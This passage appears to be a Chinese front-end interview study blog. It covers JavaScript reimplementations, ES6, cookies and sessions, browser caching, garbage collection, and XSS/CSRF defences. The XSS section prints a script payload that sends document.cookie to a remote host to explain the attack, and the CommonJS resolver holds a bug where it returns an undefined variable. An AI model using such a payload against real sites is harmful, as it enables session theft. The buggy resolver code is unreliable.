console.log(my_instanceOf(e, Boolean));
})
console.log('---------Array---------');
arr.forEach(e => {
console.log(my_instanceOf(e, Array));
})
console.log('---------Object---------');
arr.forEach(e => {
console.log(my_instanceOf(e, Object));
})
console.log('---------Function---------');
arr.forEach(e => {
console.log(my_instanceOf(e, Function));
})
实际上基本类型1 instanceof Object与'' instanceof Object 输出都是false,这里面输出true ,应该是被转换成包装类型,具体解决方法待定。。。
实现new
- 1:创建一个新对象
- 2:将新对象的_proto_指向构造函数的prototype对象
- 3:将构造函数的作用域赋值给新对象(也就是this指向新对象)
- 4:执行构造函数中的代码(为这个新对象添加属性)
- 5:返回新的对象
function Person(name, age) {
this.name = name
this.age = age
this.run = () => {
console.log('run');
}
}
function myNew(fn, ...args) {
const obj = Object.create(fn.prototype)
fn.call(obj, ...args)
return obj
}
let person = myNew(Person, 'lily', 1)
console.log(person);
实现数组flat、filter等方法
flat 三种实现
let arr = [1, 2, ['3', 4, [5, 6, [7, 8, [9]]]]]
// 递归
function myFlat(arr) {
let res = []
arr.forEach(e => {
if (e instanceof Array) {
res = res.concat(myFlat(e))
} else {
res.push(e)
}
})
return res
}
console.log(myFlat(arr),'递归');
// reduce递归
function myFlatten(arr) {
return arr.reduce((prev, next) => {
return prev.concat(Array.isArray(next) ? myFlatten(next) : next)
}, [])
}
console.log(myFlatten(arr));
// 使用正则 (如果数组中出现包含[]的字符串等,使用上面递归处理)
let str = JSON.stringify(arr)
str = str.replace(/(\[|\])/g, '')
str = str.split(',')
str = '[' + str + ']';
str = JSON.parse(str)
console.log(str);
filter
function my_filter(fn, arr) {
if (typeof fn === 'function') {
let res = []
for (let i = 0; i < arr.length; i++) {
let resTemp = fn.call(arr, arr[i], i, arr)
if (resTemp) res.push(arr[i])
}
return res
} else {
throw new Error(`${fn} must be a function`)
}
}
let data = my_filter(function (e, i, arr) {
console.log(this);
console.log(e, i, arr);
return e > 3
}, [1, 2, 3, 4, 5, 5, 6])
console.log(data);
lazyMan
function LazyMan(name) {
class LazyMan_ {
constructor(name) {
// 保存name
this.name = name
// 任务执行队列 首先放入 自我介绍函数
this.tasks = [
() => {
console.log(`Hi,this is ${this.name}`);
this.next()
}
]
// 定时器 当所有同步任务完成后(所有任务都加载到tasks任务队列中) 才开始运行定时器任务
setTimeout(() => {
this.next()
}, 0);
}
// 取出第一个任务开始执行
next() {
let task = this.tasks.shift()
task && task()
}
// 定义eat函数
eat(meal) {
let fn = () => {
console.log(`Eat,${meal}`);
// 执行完eat函数执行下一个函数
this.next()
}
// 装载eat函数
this.tasks.push(fn)
// 返回 LazyMan_实例化对象
return this
}
sleep(time) {
let fn = () => {
setTimeout(() => {
console.log(`${this.name} wake up ${time} ms `);
this.next()
}, time)
}
this.tasks.push(fn)
return this
}
sleepFirst(time) {
let fn = () => {
setTimeout(() => {
console.log(`${this.name} wake first ${time} ms `);
this.next()
}, time)
}
// 插队放到最前面执行
this.tasks.unshift(fn)
return this
}
}
return new LazyMan_(name)
}
let lazyMan = LazyMan('Hank')
lazyMan.eat('1').sleep(1000).eat('lunch').sleep(1000).eat('dinner').sleepFirst(1000)
参考自js原生面试题收集 (二) —— 实现一个lazyman
函数currying
function curry_(fn, args = []) {
// args 递归的每一个都是初始args 保持为同一个引用类型 地址不变
const len = fn.length
return function () {
[...arguments].forEach(e => {
args.push(e)
})
let res = null
if (args.length >= len) {
res = fn(...args)
args.splice(0)
} else {
res = curry_(fn, args)
}
// args = []
return res
}
}
function add(a, b, c, d, e, f) {
return a + b + c + d + e + f
}
console.log(curry_(add, [1,2])(3)(4)(5, 6));
ES6
class与ES5类区别
- class 不存在变量提升 必须先声明再使用
- class 不允许声明已经存在的类,且类内部无法重写当前类名
- class 必须使用new调用
- class 内部的静态方法以及原型方法不可被枚举(Object.keys(Person),无法获取到这些方法名)
- class 内部时严格模式,构造函数是可选的
let、const、var区别
let:
1,不存在变量提升(使用得提前声明)
2,同一作用域不可重复声明
3,作用域为块作用域
4,声明时可以不赋值
const:
1,不存在变量提升(使用得提前声明)
2,同一作用域不可重复声明
3,作用域为块作用域
4,声明时必须赋值
var:
1,存在变量提升
2,同一作用域可重复声明
3,作用域为函数作用域
4,声明时可以不赋值
箭头函数与普通函数的区别
1,箭头函数是匿名函数,不能作为构造函数
2,箭头函数不绑定arguments,可以使用...args
3, 箭头函数不绑定this,会捕获其上下文this值,作为自己的this值
4,箭头函数使用call,apply,bind无法完成this绑定,但是传参可以使用
5,箭头函数无原型属性
6,箭头函数不能使用yield,不能用来作为generator函数。
变量的结构赋值
async generator 相互转化
// async函数处理异步
async function fn1(num) {
console.log(1)
let num1 = await Promise.resolve(2)
console.log(num1)
await new Promise(resolve => {
setTimeout(() => {
resolve(3)
}, 2000);
}).then(e => {
console.log(e)
})
console.log(4)
}
fn1()
// generator 处理异步
function fn2() {
return spawn(function* () {
console.log(1)
let num1 = yield Promise.resolve(2)
console.log(num1)
yield new Promise(resolve => {
setTimeout(() => {
resolve(3)
}, 2000);
}).then(e => {
console.log(e)
})
console.log(4)
});
}
// generator 执行器
function spawn(fn) {
return new Promise((resolve, reject) => {
let gen = fn()
function step(genFn) {
let g
try {
g = genFn()
} catch (error) {
return reject(error)
}
if (g.done) {
return resolve(g.value)
}
Promise.resolve(g.value).then(e => {
step(function () { return gen.next(e) })
})
}
step(function () { return gen.next() })
})
}
fn2()
promise、async await、Generator的区别
Promise & Generator & Async Await 比较
ES6的继承与ES5相比有什么不同
ES5 的继承,实质是先创造子类的实例对象this,然后再将父类的方法添加到this上面(Parent.apply(this))。ES6 的继承机制完全不同,实质是先创造父类的实例对象this(所以必须先调用super方法),然后再用子类的构造函数修改this。 继承行为在 ES5 与 ES6 中的区别详解
js模块化(commonjs/AMD/CMD/ES6)
node 环境实现common.js
let path = require('path');
let fs = require('fs');
let vm = require('vm');
function require_(path_) {
// 验证路径
// 没有扩展名的话 加上.js 和.json 验证路径
// 如果不存在报错 否则返回文件路径
let pathName = Module.resolvePathName(path_)
// 如果缓存里有 直接返回缓存数据
if (Module.cache[pathName]) return Module.cache[pathName].exports
// 创建一个module对象 保存pathName 还有最后要导出数据 初始状态是个空对象
let module = new Module(pathName)
// 如果是js文件 读取js文件内容 用函数包裹起来 放入vm沙盒 然后执行 最终会保存导出数据在exports
// 如果是json 文件则会保存JSON.parse之后的数据放到exports中
module.load()
// 缓存数据
Module.cache[pathName] = module
// 返回导出数据
return module.exports
}
function Module(pathName) {
this.pathName = pathName
this.exports = {}
}
Module.extesions = ['.js', '.json']
Module.extesion = {}
Module.cache = {}
Module.resolvePathName = function (path_) {
// 获取绝对路径
let pathName = path.resolve(path_)
// 获取文件扩展名
let extName = path.extname(pathName)
if (extName.length) { //有扩展名 验证当前路径文件是否存在 不存在报错
try {
fs.accessSync(pathName)
return pathName
} catch (error) {
throw new Error('传入路径不存在')
}
} else { //无扩展名 挨个加入扩展名(.js .json)验证是否存在 不存在报错
for (let i = 0; i < Module.extesions.length; i++) {
try {
fs.accessSync(pathName + Module.extesions[i])
return pathName + v
} catch (error) {
if (i === Module.extesions.length - 1) {
throw new Error('传入路径不存在')
}
}
}
}
}
Module.prototype.load = function () {
let extName = path.extname(this.pathName)
if (extName === '.js') {
// 读取文件内容
let content = fs.readFileSync(this.pathName, 'utf8')
// 包裹成一个函数 外面加个括号 这种感觉 (function(){ 'content' })
let script = '(function (module,require_) {' + content + '})'
// 放到vm沙盒中 这个沙盒能访问global 但是访问不了外界作用域 避免变量污染
let fn = vm.runInThisContext(script)
// 执行沙盒返回出来的函数 传入this 作为第一个参数 require_ 作为第二个参数
fn.call(this, this, require_)
} else if (extName === '.json') {
let content = fs.readFileSync(this.pathName, 'utf8')
let obj = JSON.parse(content)
this.exports = obj
}
}
// const data = require_('./test.js')
// console.log(data, data.b());
// const dataj = require_('./tes.json')
// console.log(dataj);
require 与 import区别
- common.js 输出的是值拷贝,es6模块输出的是值的引用
- common.js 运行时加载,es6模块是编译时输出接口
浏览器相关知识
浏览器相关知识几乎是每个公司都会问到的考点,里面涉及的东西也比较多。其中缓存、http2、跨域必问。
跨域CORS
跨域JSONP
跨域时如何处理cookie
见跨域CORS浏览器端&&服务器端详解 使用cookie时候的处理
cookie 原理
本质上讲,Cookie就是一段服务器发送给客户端的一段文本信息,客户端在访问该服务端的时候会将这段文本信息带过去给服务端。
为什么需要cookie,因为http协议是无状态的,一次浏览器与服务器交互后,下一次再进行交互,他们并不能知道他们已经认识过了(上一次交互),这样带来的问题举个例子说就是:
周一我和你见面,你自我介绍你叫亚索,在南京工作。周二我们又见面了,但是因为我与你之间的交互是无状态的,所以我不知道周一我们见过面,所以你只能再一次自我介绍你叫亚索,你在南京工作 。
这种行为看起来很蠢,于是cookie帮我们解决了这个问题,浏览器第一次访问服务器,服务器给浏览器一段文本信息cookie,浏览器收到cookie保存下来,第二次浏览器访问服务器自动的将cookie带上,发送给服务器,服务器检查cookie内容,于是服务器便知道这个浏览器我认识。
换成人类行为就是,我们周一见面,你告诉我你叫永恩,在南京工作,于是我把你的信息写在小纸条上交给你,周二我们再次见面,这一次你上来就把周一我给你的小纸条给我,我通过小纸条,知道你是永恩,你在南京工作,于是我就知道我认识你,你就不必再自我介绍了,
cookie特性
-
1,不可跨域名性: 那浏览器接受到各个服务器返回的cookie,总不能访问每个服务器地址都把一大堆cookie返还回去吧,所以cookie有一个不可跨域名的机制,由浏览器实现,浏览器访问服务器地址时,会先根据访问地址判断我要带哪一个cookie,访问
google带https://www.google.cn域名的cookie,访问baidu带https://www.baidu.com域名的cookie. -
2,cookie的操作(读取,删除,修改):
读取cookie可以通过var cookie = document.cookie获取,不过如果设置了HTTP-only Cookie,那么这个操作将无法获取cookie
删除cookie:由于cookie并不提供删除修改操作,所以我们可以通过别的手段去操作cookie,设置Cookie的maxAge属性为0(如果cookie的maxAge意味着这个cookie失效,浏览器会将cookie删除)
修改cookie: 新建一个同名的cookie添加到response覆盖原先Cookie
注意:新建cookie覆盖原先cookie时候,要对cookie除了value maxAge的所有属性(path,domain)等等都得设置相同,否则浏览器认为是两个cookie,不会覆盖。
-
3,cookie的路径
domain属性决定允许访问cookie的域名,path属性决定允许访问cookie的路径。domian:www.baidu.com,path:/like意味着cookie允许www.baidu.com/like访问cookie。如果path设置/意味着允许所有path路径访问cookie。
cookie安全问题
顺便提一嘴cookie被盗用或者泄露:,如果遭受XSS攻击,泄露了你的cookie,或者csrf攻击,被别人盗用了cookie,危害都是很大的,我通过小纸条cookie知道你是永恩,你在南京工作,但是现在坏蛋腕豪把这个小纸条偷走了,交给我,我认纸条不认人,我就会把腕豪当作永恩,于是我和永恩之间的小秘密都会被腕豪知道,比如永恩告诉我他有个弟弟叫做亚索,腕豪不知道,于是腕豪问我,我就告诉了腕豪永恩有个弟弟叫亚索。
本文参考:
浅谈Cookie与Session
session 原理
session 是保存在服务器端用来记录客户端信息的一块数据,客户端第一次访问服务器,服务器会为客户端创建一个session,同时返回给客户端的cookie中存放一个sessionId(标识服务器中存储的session),在客户端下一次带着cookie访问服务器时候,服务器获取到sessionId,通过sessionId找到当前客户端对应的session,里面存有其数据,服务器就能认识当前客户端。
**session与cookie **
- session 依赖cookie实现(通过cookie传输sessionid)
- session保存在服务器端,cookie保存在客户端
**如果禁用cookie怎么使用session? **
- url重写。
web storage
分为 sessionStorage localStorage
- sessionStorage
sessionStorage 用来存储当前会话的数据,存储在sessionStorage 的数据将在页面会话结束时清除,页面会话会在浏览器打开期间,以及恢复/重新加载页面一直保持,所以当窗口或者当前标签页关闭,sessionStorage将会被清除。
sessionStorage只可以在同源(同协议,同域名,同端口)且同一页面使用。不过如果当前标签页存在iframe标签且他们同源或者通过a标签/window.open/location.href打开的同源页面也是可以访问当前的sessionStorage。
- localStorage
localStorage 同样用来存储数据,与sessionStorage较大不同的是,如果不是通过人为删除,其数据将一直保存,即使你关闭当前标签页或者浏览器。
与sessionStorage不同的是, localStorage可以在相同浏览器同源的不同页面使用,可以是不同标签页的页面,也可以是不同窗口的页面。
** sessionStorage localStorage 相同点 :**
- 1,保存在浏览器端
- 2,同源情况下才可以访问
- 3,操作方法相同(setItem,getItem,removeItem,clear,也都可以通过js对象.的方式设置属性)
- 4,存储容量(通常5MB)
** sessionStorage localStorage 不同点 :**
- 1,生命周期不同 (sessionStorage在浏览器窗口关闭或者当前标签页关闭就会清除,localStorage永久保存)
- 2,作用域不同 (sessionStorage在同源的同一页面,以及页面内打开或者存在的同源页面可以共享,localStorage在同源但可以是不同的页面比如
http://www.aa.com:8080/index.htmlhttp://www.aa.com:8080/index2.html,他们可以是不同标签页,也可以是不同窗口的页面。
参考文章:
HTML5-Web Storage
localStorage 和 sessionStorage 简介
强缓存、协商缓存、CDN缓存
当浏览器访问一个已经访问过的资源:
1,首先看看是否命中强缓存,如果命中,直接使用缓存,
2,如果未命中,就向服务器发送请求查看是否命中协商缓存,
3,如果命中协商缓存,服务器会返回状态码304告知浏览器使用本地缓存。
4,如果都没有命中,发送新的请求获取资源。
** 强缓存: **
-
Expires:服务器会返回Expires(比如Expires:Mon,18 Oct 2066 23:59:59 GMT)告诉客户端在这个时间之前都可以使用缓存,当客户端接受到Expires,会进行缓存操作,在Expires 字段值指定的时间之前,响应的副本会一直被保存,当下一次需要请求相同的资源,如果在这个时间段之内,则使用缓存,不会对服务器发起请求。
缺点: Expires依赖于本地时间戳,如果本地时间与服务器时间不一致,可能会出现问题。
-
Cache-Control:浏览器初次访问服务器,返回数据会被缓存,当第二次访问,浏览器首先验证max-age(Max-age = x指令:请求缓存后的X秒内不再发起请求),如果在该时间段内,则使用缓存,如果不在,则请求服务器,服务器会验证文件是否修改过,如果未修改,返回304,浏览器直接从缓存中获取数据。如果修改过,返回200,以及新的数据。浏览器将新的数据缓存下来。 cache-control 除了该max-age字段外,还有下面几个比较常用的设置值:
-
no-cache:需要进行协商缓存,发送请求到服务器确认是否使用缓存。
-
no-store:禁止使用缓存,每一次都要重新请求数据。
-
public:可以被所有的用户缓存,包括终端用户和 CDN 等中间代理服务器。
-
private:只能被终端用户的浏览器缓存,不允许 CDN 等中继缓存服务器对其缓存。
-
Cache-Control 与 Expires 可以在服务端配置同时启用,同时启用的时候 Cache-Control 优先级高,以Cache-Control为准 。
-
** 协商缓存: **
当强缓存没有命中的时候,浏览器会发送一个请求到服务器,服务器根据 header 中的部分信息来判断是否命中缓存。如果命中,则返回 304 ,告诉浏览器资源未更新,可使用本地的缓存。 这里的 header 中的信息指的是 Last-Modify/If-Modify-Since 和 ETag/If-None-Match.
-
Last-Modify/If-Modify-Since:浏览器初次请求服务器资源,服务器返回header会加上Last-Modify(当前资源最后修改的时间)。当浏览器再次请求该资源,浏览器发送请求头会包括If-Modify-Since这个值就是上次返回的Last-Modify,服务器接受到If-Modify-Since,会根据资源最后修改时间判断是否命中缓存。命中缓存,返回304,不返回资源内容,不返回 Last-Modify。
** 缺点: **
1,短时间内资源发生了改变((只能精确到秒,所以间隔时间小于1秒的请求是检测不到文件更改的),Last-Modified 并不会发生变化。
2,如果这个资源在一个周期内修改回原来的样子了(比如:第一次数据更改,第二次觉得不合适→改回来),我们认为是可以使用缓存的,但是 Last-Modified 可不这样认为,因此便有了 ETag。 -
ETag/If-None-Match:浏览器请求服务器资源,服务器会返回ETag(Etag是基于文件内容进行编码的,如果文件内容有所改动,ETag也会发生变化,ETag 可以保证每一个资源是唯一的),浏览器缓存资源,再次请求该资源,请求头包括If-None-Match(就是ETag的值),服务器对比接受到的If-None-Match与自己的ETag,如果没有变化,返回304,同时返回ETag。如果发生变化返回新的数据。** Last-Modified 与 ETag 是可以一起使用的,服务器会优先验证 ETag,一致的情况下,才会继续比对 Last-Modified,最后才决定是否返回 304。 **
** 浏览器缓存(强缓存,协商缓存)内容整理大部分参考自:浏览器缓存、DNS缓存、CDN缓存 有兴趣的可以去看看 **
** CDN缓存 **
了解CDN缓存之前,得先了解什么是CDN(内容分发网络:Content Delivery Network)。
举个例子:过去的日子,你在村里,想买火车票,但是火车票只有市火车站可以买,所以你不得不去市里买火车票,是不是很不方便,但是后来发展好了,你所在的县城出现了火车票代售点,你可以直接在县城买,不用去市里买,是不是很方便。
这里的 浏览器就是你,请求的数据就是买的火车票,源服务器就是市火车站,CDN就是县火车票代售点。
**CDN如何缓存: **
1,客户端向CDN服务器请求数据时,先从本地缓存获取数据,如果数据没有过期拿过来用,如果过期,向CDN边缘节点请求数据。
2,CDN接受到数据请求,首先检查自己本地数据有没有过期,没有过期,返回客户端数据,过期则向源服务器请求数据,接受到数据,缓存数据,并返回数据给客户端。
** CDN边缘节点缓存机制,一般都遵守http标准协议,通过http响应头中的Cache-Control和max-age的字段来设置CDN边缘节点的数据缓存时间。 **
HTTP状态码
HTTP HTTP2 HTTPS
三次握手与四次挥手
从输入URL到呈现页面过程
垃圾回收机制
一般分为 引用计数 与 标记清除
引用计数
引用计数是跟踪记录每个值被引用的次数,垃圾回收器将被引用次数为0的值进行回收。
举个例子:将一个引用类型的值V赋给变量A 的时候,那么这个引用类型的值V被引用的次数就是1,如果V又被变量B引用(var B = A),那么V的被引用次数就是2,如果A解除对当前V的引用(A=null)那么V的被引用次数就是1,如果B也解除对V的引用(B=null),那么V的被引用次数就是0,这个时候没有办法再访问这个引用类型值V,因此就可以将V的内存占用回收,当下一次垃圾回收机制运行时,V的内存占用就会被释放。
** 注意须知:有一种特殊情况引用计数策略将无法回收内存,他就是循环引用。**
let a = {} // a 指向的引用类型叫做A
let b = {} // b 指向的引用类型叫做B
b.bb = a
a.aa = b
a = null
b = null
1,第1,2行: a保持对A的引用,b保持着对B的引用,A的被引用次数1,B的被引用次数1
2,第3,4行:B对象中的bb保持着对A的引用,,A的被引用次数2,A对象中的aa保持着对B的引用,B的被引用次数2
3, 第5,6行: a,b解除对A,B的引用,A的被引用次数1,B的被引用次数1。
** 但是此时,A,B实际上是需要被清除的垃圾,因为没人需要使用他们,但是他们内部又保存着对对方的引用,他们的引用次数恒为1,所以垃圾回收器这时就无法将其回收,导致内存泄露。**
标记清除
标记清除也是找到垃圾将其回收,但是它找垃圾的方式和引用计数的方式不一样。
引用计数通过判断值是否是零引用,是的话就是垃圾,
标记清除是通过从根部出发遍历看是否能到达某个对象(或者说某个存放在堆内存中的值),如果可以到达,那么就认定这个对象是我们需要的,不需要回收,标记为活动对象,如果无法通过这波操作找到的对象就是垃圾,没人在使用,标记为非活动对象,然后等待垃圾回收器清除他们。
那么标记清除中的根是个什么玩意,借用V8 垃圾回收原来这么简单?文中的解释(参考了许多文章,还是这篇文章解释的好,推荐大家瞅瞅)
根 就是GC Root ,在浏览器环境中 GC Root通常包括并不限于以下几种:
-
全局 window 对象(位于每个 iframe 中)
-
文档 DOM 树,由可以通过遍历文档到达所有原生 DOM 节点组成
-
存放栈上的变量。
了解这些让我们看下面这段代码 还有这张图 实际理一理
function incre(){
let obj1 = {num :1}
return function(){
return ( obj1.num++,obj1)
}
}
let res = incre()
全局变量res(这个可以看作根部,因为res位于window对象中)接受到incre函数返回的匿名函数这里叫他fn(fn就是个函数对象,保存在堆内),同时fn中obj1变量又指向 * {num :1} 这个对象,于是就形成了一条链路, res=>fn=> {num :1},按照上面对标记清除的定义, {num :1}是可以从根部(res)到达的,那么{num :1}就会被标记为活跃对象,不会被当做垃圾回收。*
但是当我们在上面代码最后加上一句 res = null,res与fn之间的链接就断开,那么此时{num :1}以及fn对象无法从根部遍历到达,那么fn,{num :1}二者就会被标记为非活跃对象,等待被垃圾回收。
** 这样看来如果最后没有加 res = null ,就会造成内存泄露,但基于此,引申出来一个新的问题看下面的代码**
function incre(){
let obj1 = {num :1}
return function(){
return ( obj1.num++,obj1)
}
}
incre()
这段代码与上一段代码的区别在于最后直接incre()而不是let res = incre(),我个人觉得这并不会造成内存泄露,如有不对请留言指正,看下图
因为let res = incre()变成了incre()所以图中res=>fn的联系断开,所以fn与{num :1}无法从根节点遍历到,所以会被标记为非活跃对象,是个垃圾,可以回收
**但是有人会问,咱们在incre函数中定义的变量obj1这是保存在栈中 并指向 堆中{num :1},那这不是满足标记清除『 存放栈上的变量』 条件吗,其实我也有这个疑问,但是我仔细想想还是不满足的,因为incre函数执行完,其函数执行上下文会被销毁,包括其变量对象中的obj1,也会被销毁,所以,obj1已经被干掉了,不会指向{num :1},那当let res = incre() 这样写,我觉得obj1就不会销毁,因为这里形成了闭包,incre执行上下文虽然会被销毁,但是由于obj1在闭包中被引用,所以作用域链不会被销毁,所以obj1会一直存在。 **
---以上是我对垃圾回收的理解,为了整理这些(主要是标记清理),看了诸多文章,如果总结的哪里不准确,欢迎留言。---
web安全(一般我都会从xss和csrf说起。 )
什么是xss,如何预防
什么是xss
xss(cross site script):跨站脚本攻击。是指 利用web服务器漏洞 向客户端浏览器发送恶意代码,客户端执行恶意代码,恶意代码可能会包括发送cookie,重定向等。(我个人理解主要是对当前页面插入自动或者被动执行的恶意js脚本,浏览器触发恶意脚本导致被攻击,比如说脚本能够获取cookie,token等)
XSS 攻击分为 三种
- 反射型XSS
- 存储型XSS
- dom型XSS
1,反射型XSS攻击:服务器对用户输入的数据未经校验过滤,直接返回原输入数据,如果原来输入数据包含恶意代码,那么恶意代码将会执行。(关键在于通过url控制了页面的输出)
<script>alert(‘xss’)</script> // 恶意代码1
<script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie</script> // 恶意代码2
当用户在输入框输入恶意代码1,2,提交.
如果服务器未对代码校验(http://127.0.0.1:8080?param=恶意代码)
直接返回恶意代码到网页上(<div>恶意代码</div>),导致恶意代码执行.
恶意代码1: 黑客将http://127.0.0.1:8080?param=<script>alert(‘xss’)</script>链接发送给用户,用户打开链接页面将会出现alert弹窗
恶意代码2: 黑客将http://127.0.0.1:8080?param=<script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie</script>链接发送给用户,用户打开链接页面,浏览器将会生成图片,图片访问地址http://1.1.1.1/c.php?output="+document.cookie,导致用户cookie泄露。
2,存储型XSS攻击:用户客户端输入恶意代码,服务器未经校验,直接存储到数据库,数据库将返回的数据展示到页面上,导致所有访问当前页面的用户遭受攻击,关键在于通过数据库返回数据控制了页面的输出。(比较经典的例子,用户论坛录入恶意评论代码:(楼主说得对<script>alert('hello')</script>),恶意评论被存储到数据库,并渲染到浏览器页面上,当有人打开评论页面,恶意评论中的<script>alert('hello')</script>将会执行,遭受攻击
3,DOM型XSS攻击: 恶意URL参数直接反应在页面上,与反射型区别,反射型发送请求到服务器,服务器的反馈中有恶意代码。dom型则不需要服务器反馈,直接js获取url内的参数,在页面上反应,导致恶意代码执行。
参照DOM型XSS
如何预防XSS攻击
1,阻止攻击者提交恶意代码
2,防止浏览器执行恶意代码
1,输入过滤:
- 在用户输入的时候对输入内容进行过滤(例如不允许用户输入特殊字符等)。
- 写入数据库之前对输入内容进行转义(例如 5 < 7 被转义
5 < 7)。
注意:
- 对于第一种输入过滤:但是如果攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。
- 对于第二种输入过滤:如果转义后的数据通过ajax等返回,返回的数据由于转码问题,就是
5 < 7,导致无法进行计算,vue等模板无法展示正确。
所以输入过滤并不是稳妥办法。
2,纯前端渲染:
明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码。
注意:
- 纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,如果这些属性需要使用,务必对javascript:xxx格式进行处理,避免对
<a href='javascript:alert(1)'></a>这样的代码渲染)。
3,输入内容长度控制:对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度
4,设置HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
5, 使用textContent,而不是innerHTML,textContent不会把内容解析为html
文章参考(更多具体介绍方案有兴趣的可以去看看原文):
什么是csrf,如何预防
什么是CSRF
CSRF (cross site request forgery) :跨站请求伪造。攻击者通过借助受害者的cookie,冒充受害者向服务器发送伪造请求,从而在未授权情况下执行需要授权的操作。
注意:crsf攻击只是借助用户cookie进行非用户授权操作,并不能获取cookie,而xss攻击能够获取到用户cookie。
举个例子:
- 1,第一天用户A 登录并访问宠物网站cat.com
- 2,cat.com服务器返回cookie给用户A,用户A保存cookie。
- 3,第二天用户A 再次访问宠物网站cat.com,浏览器自动将上一次保存的cookie放入请求头中,无需用户A进行登录操作,直接进入宠物网站cat.com.
- 4,于是用户A在宠物网站cat.com对一条暹罗猫的动态进行评论(评论'lovely')操作(调用接口
http://cat.com/api/like?id=1&&content='lovely')。该暹罗猫动态获得一条评论。 - 5,恶意用户B希望A能够多次对暹罗猫那条动态评论,于是在自己服务器部署了一个页面,只要访问该页面就会发送请求(
http://cat.com/api/like?id=1&&content='lovely'),实现方式可以是任何形式,图片src,表单提交等。于是恶意用户B使用某种计谋让用户登录cat.com后点击链接访问自己刚才设置的服务器页面。 - 6,浏览器便会带着cookie,发送请求(
http://cat.com/api/like?id=1&&content='lovely'),于是暹罗猫动态下又多了一条lovely评论,在用户A 不知情的情况下。
例子好像不是很好,建议看参考文章讲解。
如何预防
-
1, 使用token
服务器放弃使用cookie对用户作校验,而是使用token,在用户登录的时候服务器返回token给用户,客户端保存token,用户每次对服务器发送请求的时候,都把token放入请求头中,服务器对token做校验。(同源页面每次取token放入请求,而csrf只能依靠浏览器自己带上cookie,并不能进行「获取token,将token放入请求」这种操作,所以token可以解决csrf攻击。如果hacker能做到「获取token,将token放入请求」,那这就是XSS攻击的问题了。) -
2,同源检测(服务器校验referer/origin )
服务器校验请求中的referer/origin ,这两个字段会包含请求的来源域。(见下图掘金的请求)
服务器校验域名便可以知道请求是否是本站发出的。不是本站发出的则拒绝请求。
注意:这里不推荐使用referer/origin 进行判定,referer可以伪造,origin在请求返回302重定向的时候以及IE11的跨域中并不会携带
- 3,使用samesite
Cookie 的 SameSite 属性可以用来限制第三方 Cookie,可以设置当跨站点不发送cookie,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。
注意:这里的samesite属性比较新,兼容性可能不太好。综上推荐使用token防止csrf攻击。
参考文章: 跨站请求伪造—CSRF
文章引用:
CSS实现水平垂直居中的1010种方式(史上最全)
2020前端面试(一面面试题)
16325